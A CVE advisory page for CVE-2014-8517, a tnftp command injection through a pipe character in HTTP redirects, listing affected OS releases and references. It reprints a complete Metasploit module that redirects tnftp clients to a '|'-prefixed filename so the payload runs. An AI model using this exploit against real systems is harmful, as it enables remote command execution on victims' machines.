CVE-2014-8517
Description
The fetch_url function in usr.bin/ftp/fetch.c in tnftp, as used in NetBSD 5.1 through 5.1.4, 5.2 through 5.2.2, 6.0 through 6.0.6, and 6.1 through 6.1.5 allows remote attackers to execute arbitrary commands via a | (pipe) character at the end of an HTTP redirect.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
tnftp (FreeBSD 8/9/10) - 'tnftp' Client Side
tnftp - 'savefile' Arbitrary Command Execution (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.
If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.
If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {'BadChars' => '/'},
'Targets' => [['ftp(1)', {}]],
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end
if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{payload.encoded}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end
def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end
def sploit
"|#{payload.encoded}"
end
end
Metasploit modules
OS impact
FreeBSD Affected 21 releases
| Version | Status | Fixed in |
|---|---|---|
| 6.1.5 | Affected | โ |
| 6.1.4 | Affected | โ |
| 6.1.3 | Affected | โ |
| 6.1.2 | Affected | โ |
| 6.1.1 | Affected | โ |
| 6.1 | Affected | โ |
| 6.0.6 | Affected | โ |
| 6.0.5 | Affected | โ |
| 6.0.4 | Affected | โ |
| 6.0.3 | Affected | โ |
| 6.0.2 | Affected | โ |
| 6.0.1 | Affected | โ |
| 6.0 | Affected | โ |
| 5.2.2 | Affected | โ |
| 5.2.1 | Affected | โ |
| 5.2 | Affected | โ |
| 5.1.4 | Affected | โ |
| 5.1.3 | Affected | โ |
| 5.1.2 | Affected | โ |
| 5.1.1 | Affected | โ |
| 5.1 | Affected | โ |
macOS Affected 4 releases
| Version | Status | Fixed in |
|---|---|---|
| 10.9.5 | Affected | โ |
| 10.8.5 | Affected | โ |
| 10.10.1 | Affected | โ |
| 10.10.0 | Affected | โ |
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| โ | Affected | โ |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 20130505-2 |
| sid | Fixed | 20130505-2 |
| forky | Fixed | 20130505-2 |
| bullseye | Fixed | 20130505-2 |
| bookworm | Fixed | 20130505-2 |
References
- https://www.suse.com/security/cve/CVE-2014-8517.html
- http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2014-013.txt.asc
- http://lists.apple.com/archives/security-announce/2015/Jan/msg00003.html
- http://lists.opensuse.org/opensuse-updates/2014-11/msg00029.html
- http://seclists.org/oss-sec/2014/q4/459
- http://seclists.org/oss-sec/2014/q4/464
- http://secunia.com/advisories/62028
- http://secunia.com/advisories/62260
- http://support.apple.com/HT204244
- https://security.gentoo.org/glsa/201611-05
- https://www.exploit-db.com/exploits/43112/
- https://security-tracker.debian.org/tracker/CVE-2014-8517
CWEs
CWE-77
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.